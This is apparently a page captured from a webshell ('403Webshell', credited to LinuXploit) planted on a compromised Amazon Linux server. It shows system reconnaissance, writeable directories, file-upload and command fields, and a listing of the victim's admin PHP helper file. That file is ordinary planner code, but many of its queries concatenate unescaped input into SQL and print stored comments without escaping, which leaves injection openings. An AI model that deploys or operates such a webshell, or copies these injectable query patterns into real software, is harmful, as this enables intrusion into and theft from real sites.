403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/admin/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/admin/mod/_functions.php
<?php
	function get_text($ix)
	{
		$result = mysqli_query($GLOBALS['con'], "SELECT * FROM texts WHERE text_key = '".$ix."'");
		$num_rows = mysqli_num_rows($result);
		$row = mysqli_fetch_array($result);
		//echo $row['PageTitle'];
		if ($num_rows >= 1) :
			if ($row['text_type'] == 'HTML') : 
				$text = $row['text_string'];
			else :
				$text = strip_tags($row['text_string']);
			endif;
		else :
			$text = 'Text not found';
		endif;
		return $text;
	}
		
	function get_page_title($ix)
	{
		$result = mysqli_query($GLOBALS['con'], "SELECT * FROM admin_pagecontrol WHERE PageIndex = '".$ix."'");
		$num_rows = mysqli_num_rows($result);
		$row = mysqli_fetch_array($result);
		//echo $row['PageTitle'];
		if ($num_rows >= 1)
			$title = $row['PageTitle'];
		else
			$title = 'Page title not found';
		return $title;
	}
		
	function page_allowed($ix)
	{
		$return_result = false;
		$ix = mysqli_real_escape_string($GLOBALS['con'], trim($ix));
		$result = mysqli_query($GLOBALS['con'], "SELECT * FROM admin_pagecontrol WHERE PageIndex = '".$ix."'");
		$num_rows = mysqli_num_rows($result);
		$row = mysqli_fetch_array($result);
		if ($num_rows >= 1)
		{
			$bln_show_menu = false;
			if ($_SESSION['admin_logged_in'] == 1 && $row['ShowState'] == 1)
				$bln_show_menu = true;
			if ($_SESSION['admin_logged_in'] != 1 && $row['ShowState'] == 2)
				$bln_show_menu = true;
			if ($row['ShowState'] == 0)
				$bln_show_menu = true;
			if ($bln_show_menu)
			{
				if (empty($row['ShowRoles']) || role_match($row['ShowRoles'],$_SESSION['admin_roles']))
				{
					$return_result = true;
				}
			}			
		}
		return $return_result;
	}

	function nz_string($arg, $null_value = '')
	{
		if (!isset($arg) || trim($arg) === '') :
			return $null_value;
		else :
			return $arg;
		endif;
	}
		
	function curr_page_url() 
	{
		if (!isset($_SERVER['REQUEST_URI']))
		{
			$_SERVER['REQUEST_URI'] = substr($_SERVER['PHP_SELF'],0 );
			if (isset($_SERVER['QUERY_STRING'])) 
			{ 
				$_SERVER['REQUEST_URI'].='?'.$_SERVER['QUERY_STRING']; 
			}
		}		
		$page_url = 'http';
		if (nz_string($_SERVER["HTTPS"], 'off') == "on" || nz_string($_SERVER['HTTP_X_FORWARDED_PROTO'], 'http') == 'https') 
		{
			$page_url .= "s";
		}
		$page_url .= "://";
		if ($_SERVER["SERVER_PORT"] != "80") 
		{
			$page_url .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
		} 
		else 
		{
			$page_url .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
		}
		return $page_url;
	}	 
	
	function curr_page_file() 
	{
		$page_url = '';
		$currentFile = $_SERVER["PHP_SELF"];
		$parts = Explode('/', $currentFile);
		$page_url = $parts[count($parts) - 1];
		return $page_url;
	}	 
	
	function sys_encrypt($string, $key) {
		return @openssl_encrypt($string, 'AES-128-CFB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
	}
	
	function sys_decrypt($string, $key) {
		return @openssl_decrypt($string, 'AES-128-CFB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
	}

	function is_date( $str )
	{
		$stamp = strtotime( $str );
		$month = date( 'm', $stamp );
		$day   = date( 'd', $stamp );
		$year  = date( 'Y', $stamp );
		//echo 'is_date  '.$stamp.'  month  '.$month.'  day  '.$day.'  year  '.$year;
		if ($year > 1969)
			return checkdate( $month, $day, $year );
		else
			return false;
	}

	function check_to_bool( $str )
	{
		if ($str == 'on' || $str == 'checked')
			$result = '1';
		else
			$result = '0';
		return $result;
	}

	function bool_to_check( $bool )
	{
		if ($bool == 1)
			$result = 'checked';
		else
			$result = '';
		return $result;
	}

	function bool_to_yesno( $bool )
	{
		if ($bool == 1)
			$result = 'Yes';
		else
			$result = 'No';
		return $result;
	}

	function yesno_to_bool( $str )
	{
		$str = strtoupper($str);
		if ($str == 'ON' || $str == 'CHECKED' || $str == 'YES' || $str == 'Y')
			$result = '1';
		else
			$result = '0';
		return $result;
	}

	function role_match($str1 = null, $str2 = null)
	{
		$result = false;
		if (empty($str1) || empty($str2))
			return $result;
		$ar1 = explode(',',$str1);
		$ar2 = explode(',',$str2);
		foreach ($ar1 as $ar1_value)
		{
			if (is_numeric(array_search($ar1_value,$ar2)))
				$result = true;
		}
		/*
		*/
		return $result;
	}

	function generate_random_string($length = 16) 
	{
		$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
		$random_string = '';
		for ($i = 0; $i < $length; $i++) :
			$random_string .= $characters[rand(0, strlen($characters) - 1)];
		endfor;
		return $random_string;
	}

	function get_rating($table_name, $key_id)
	{
		$result = 0;
		if ($str == 'on')
			$result = '1';
		else
			$result = '0';
		return $result;
	}

	function get_my_rating($table_name, $user_id, $key_id)
	{
		$result = 0;
		if ($str == 'on')
			$result = '1';
		else
			$result = '0';
		return $result;
	}

	function get_graphic_rating($rating)
	{
		$result = '';
		for ($i=1; $i<=5; $i++)
		{
			if ($i <= $rating)
				$result = $result.'<img src="img/star_filled_16.gif">';
			//else
				//$result =  $result.'<img src="img/star_hollow_16.gif">';
		}
		/*
		*/
		return $result;
	}

	function show_graphic_rating_form($rating)
	{
		$result = '';
		for ($i=1; $i<=5; $i++)
		{
			if ($i <= $rating)
				$result = $result.'<img src="../img/star_filled_16.gif">';
			//else
				//$result =  $result.'<img src="../img/star_hollow_16.gif">';
		}
		/*
		*/
		return $result;
	}

	function get_my_graphic_rating($table_id, $key_id)
	{
		$html = '';
		$rating = 0;
		global $_SESSION;
		$sql = "SELECT * FROM ratings WHERE TableID = ".$table_id." AND KeyID = ".$key_id." AND UserID = ".$_SESSION['user_id'];
		$result = mysqli_query($GLOBALS['con'], $sql);
		$num_rows = mysqli_num_rows($result);
		if ($num_rows > 0)
		{
			$row = mysqli_fetch_array($result);
			$rating = $row['Rating'];
		}
		//$html = $html.'<input type="hidden" id="'.$field_name.'" name="'.$field_name.'" value="'.$rating.'" />';
		//$html = $html.'<div id="rating_'.$field_name.'">';
		for ($i=1; $i<=5; $i++)
		{
			if ($i <= $rating)
				$html = $html.'<img src="img/star_filled_16.gif" >';
			//else
				//$html = $html.'<img src="img/star_hollow_16.gif" >';
		}
		$html = $html.'</div>';
		return $html;
	}

	function get_peer_graphic_rating($table_id, $key_id)
	{
		$html = '';
		$rating = 0;
		global $_SESSION;
		$sql = "SELECT ROUND(AVG(Rating)) AS PeerRating FROM ratings WHERE TableID = ".$table_id." AND KeyID = ".$key_id." AND UserID <> ".$_SESSION['user_id']." AND Rating <> 0";
		$result = mysqli_query($GLOBALS['con'], $sql);
		$num_rows = mysqli_num_rows($result);
		if ($num_rows > 0)
		{
			$row = mysqli_fetch_array($result);
			$rating = $row['PeerRating'];
		}
		for ($i=1; $i<=5; $i++)
		{
			if ($i <= $rating)
				$html = $html.'<img src="img/star_filled_16.gif" >';
			//else
				//$html = $html.'<img src="img/star_hollow_16.gif" >';
		}
		$html = $html.'</div>';
		return $html;
	}


	function get_peer_listing($table_id, $key_id)
	{
		$html = '';
		$rating = 0;
		global $_SESSION;
		$sql = "SELECT * FROM ratings INNER JOIN admin_users on ratings.UserID = admin_users.UserID WHERE TableID = ".$table_id." AND KeyID = ".$key_id." AND ratings.UserID <> ".$_SESSION['user_id']." ORDER BY CommentDate DESC";
		$result = mysqli_query($GLOBALS['con'], $sql);
		$num_rows = mysqli_num_rows($result);
		
		$html .= '<table border="0" cellspacing="3" cellpadding="0" style="text-align:left;" >';
		$html .= '<tr>';
		$html .= '<td>';
		$html .= '<div style="width:80px;">';
		$html .= '</div>';
		$html .= '</td>';
		$html .= '<td>';
		$html .= '<div style="width:140px;">';
		$html .= '</div>';
		$html .= '</td>';
		$html .= '<td>';
		$html .= '<div style="width:420px;">';
		$html .= '</div>';
		$html .= '</td>';
		$html .= '<td>';
		$html .= '<div style="width:90px;">';
		$html .= '</div>';
		$html .= '</td>';
		$html .= '</tr>';

		$html .= '<tr>';
		$html .= '<td colspan="4" align="center" class="form-header">';
		$html .= 'Network / Peer Feedback';
		$html .= '</td>';
		$html .= '</tr>';

		$html .= '<tr>';
		$html .= '<td align="center">';
		$html .= 'Date';
		$html .= '</td>';
		$html .= '<td align="center">';
		$html .= 'Screen Name';
		$html .= '</td>';
		$html .= '<td align="center">';
		$html .= 'Comment';
		$html .= '</td>';
		$html .= '<td align="center">';
		$html .= 'Rating';
		$html .= '</td>';
		$html .= '</tr>';


		while($row = mysqli_fetch_array($result))
		{
			$html .= '<tr>';
			$html .= '<td class="data-grid-var" valign="top">';
			$html .= date('m/d/Y',strtotime($row['CommentDate']));
			$html .= '</td>';
			$html .= '<td class="data-grid-var" valign="top">';
			$html .= $row['ScreenName'];
			//var_dump($row);
			$html .= '</td>';
			$html .= '<td class="data-grid-var" valign="top">';
			$html .= $row['Comment'];
			$html .= '</td>';
			$html .= '<td class="data-grid-var" valign="top">';
			$html .= show_graphic_rating_form($row['Rating']);
			$html .= '</td>';
			$html .= '</tr>';
		}

		$html .= '</table>';
		$html .= '<BR />';
		return $html;
	}

	function form_graphic_rating($table_id, $key_id, $user_id, $field_name)
	{
		$html = '';
		$rating = 0;
		$sql = "SELECT * FROM ratings WHERE TableID = ".$table_id." AND KeyID = ".$key_id." AND UserID = ".$user_id;
		$result = mysqli_query($GLOBALS['con'], $sql);
		$num_rows = mysqli_num_rows($result);
		if ($num_rows > 0)
		{
			$row = mysqli_fetch_array($result);
			$rating = $row['Rating'];
		}
		$html = $html.'<input type="hidden" id="'.$field_name.'" name="'.$field_name.'" value="'.$rating.'" />';
		$html = $html.'<div id="rating_'.$field_name.'">';
		for ($i=1; $i<=5; $i++)
		{
			$jscript = "'".$field_name."',".$i;
			//echo $jscript;
			if ($i <= $rating)
				$html = $html.'<img src="../img/star_filled_16.gif" style="cursor:pointer;" onclick="change_rating('.$jscript.');">';
			else
				$html = $html.'<img src="../img/star_hollow_16.gif" style="cursor:pointer;" onclick="change_rating('.$jscript.');">';
		}
		$html = $html.'</div>';
		/*
		*/
		return $html;
	}

	function form_comment($table_id, $key_id, $user_id, $field_name, $width, $class, $rows, $cols)
	{
		$html = '';
		$comment = '';
		$sql = "SELECT * FROM ratings WHERE TableID = ".$table_id." AND KeyID = ".$key_id." AND UserID = ".$user_id;
		$result = mysqli_query($GLOBALS['con'], $sql);
		$num_rows = mysqli_num_rows($result);
		if ($num_rows > 0)
		{
			$row = mysqli_fetch_array($result);
			$comment = $row['Comment'];
		}
		$html = $html.'<textarea id="'.$field_name.'" name="'.$field_name.'" class="'.$class.'" rows="'.$rows.'" cols="'.$cols.'" style="width:'.$width.'px;" />';
		$html = $html.$comment;
		$html = $html.'</textarea>';
		return $html;
	}



	function update_rating_comment($table_id, $key_id, $user_id, $rating, $comment)
	{
		$sql = "SELECT * FROM ratings WHERE TableID = ".$table_id." AND KeyID = ".$key_id." AND UserID = ".$user_id;
		$result_rating = mysqli_query($GLOBALS['con'], $sql);
		if (mysqli_num_rows($result_rating) > 0)			
		{
			//*** update rating ***
			$sql = "UPDATE ratings SET Rating = ".$rating.", Comment = '".$comment."', CommentDate = '".date('Y-m-d H:i:s')."' WHERE TableID = ".$table_id." AND KeyID = ".$key_id." AND UserID = ".$user_id;
			mysqli_query($GLOBALS['con'], $sql);
		}
		else
			//*** store rating ***
		{
			if ($rating != '0' || $comment != '')
			{
				$sql = "INSERT INTO ratings (TableID, KeyID, UserID, Rating, Comment, CommentDate) VALUES (".$table_id.", ".$key_id.", ".$user_id.", ".$rating.", '".$comment."', '".date('Y-m-d H:i:s')."')";
				mysqli_query($GLOBALS['con'], $sql);
				//echo ' SQL '.$sql;
			}
		}
	}


	function drop_down($name, $width, $class, $type_key, $curr_key)
	{
		$html = '';
		$sql = "SELECT * FROM lookups WHERE LookupType = ".$type_key." ORDER BY LookupValue";
		$result = mysqli_query($GLOBALS['con'], $sql);
		$html = '<SELECT id="'.$name.'" name="'.$name.'" class="'.$class.'" style="width:'.$width.';">';
		while($row = mysqli_fetch_array($result))
		{
			$html = $html.'<option value="'.$row['LookupKey'].'" ';
			if ($row['LookupKey'] == $curr_key)
			{
				$html = $html.' selected="selected" ';
			}
			$html = $html.' >'.$row['LookupValue'].'</option>';
		}
		$html = $html.'</SELECT>';
		return $html;
	}

	function drop_down_lookup($name, $width, $class, $value_field, $display_field, $curr_value, $sql)
	{
		$html = '';
		//$sql = "SELECT * FROM lookups WHERE LookupType = ".$type_key." ORDER BY LookupValue";
		$result = mysqli_query($GLOBALS['con'], $sql);
		$html = '<SELECT id="'.$name.'" name="'.$name.'" class="'.$class.'" style="width:'.$width.';">';
		$html .= '<option value="0" ';
		if ('0' == $curr_value)
		{
			$html .= ' selected="selected" ';
		}
		$html .= ' ></option>';
		while($row = mysqli_fetch_array($result))
		{
			$html .= '<option value="'.$row[$value_field].'" ';
			if ($row[$value_field] == $curr_value)
			{
				$html .= ' selected="selected" ';
			}
			$html .= ' >'.$row[$display_field].'</option>';
		}
		$html .= '</SELECT>';
		return $html;
	}



	function check_boxes($name, $cb_set, $cb_data)
	{
		$html = '';
		$ar_set = explode(', ',$cb_set);
		$ar_data = explode(', ',$cb_data);
		foreach ($ar_set as $ar_set_value)
		{
			$checked = '';
			if (is_numeric(array_search($ar_set_value, $ar_data)))
				$checked = 'checked="checked"';
			$html = $html.'<input type="checkbox" name="'.$name.'[]" value="'.$ar_set_value.'" '.$checked.' > '.$ar_set_value.'<br />';
		}
		return $html;
	}

	function radio_boxes($name, $cb_set, $cb_data)
	{
		$html = '';
		$ar_set = explode(', ',$cb_set);
		$ar_data = explode(', ',$cb_data);
		foreach ($ar_set as $ar_set_value)
		{
			$checked = '';
			if (is_numeric(array_search($ar_set_value, $ar_data)))
				$checked = 'checked="checked"';
			$html = $html.'<input type="radio" name="'.$name.'" value="'.$ar_set_value.'" '.$checked.' > '.$ar_set_value.'<br />';
		}
		return $html;
	}
	
	function nz($arg, $null_value = '')
	{
		if (empty($arg)) :
			return $null_value;
		else :
			$arg = str_replace(',', '', $arg);
			return intval($arg);
		endif;
	}

	function nzfloat($arg, $null_value = '')
	{
		if (empty($arg)) :
			return $null_value;
		else :
			$arg = str_replace(',', '', $arg);
			return floatval($arg);
		endif;
	}

	function nzdate($arg, $null_value = 'NULL')
	{
		if (empty($arg)) :
			return $null_value;
		else :
			return date('Y-m-d', strtotime(str_replace('-', '/',mysqli_real_escape_string($GLOBALS['con'], trim($arg)))));
		endif;
	}

	function nzdate_display($arg, $null_value = '')
	{
		if (empty($arg)) :
			return $null_value;
		else :
			return date("m/d/Y", strtotime($arg));
		endif;
	}


?>

Youez - 2016 - github.com/yon3zu
LinuXploit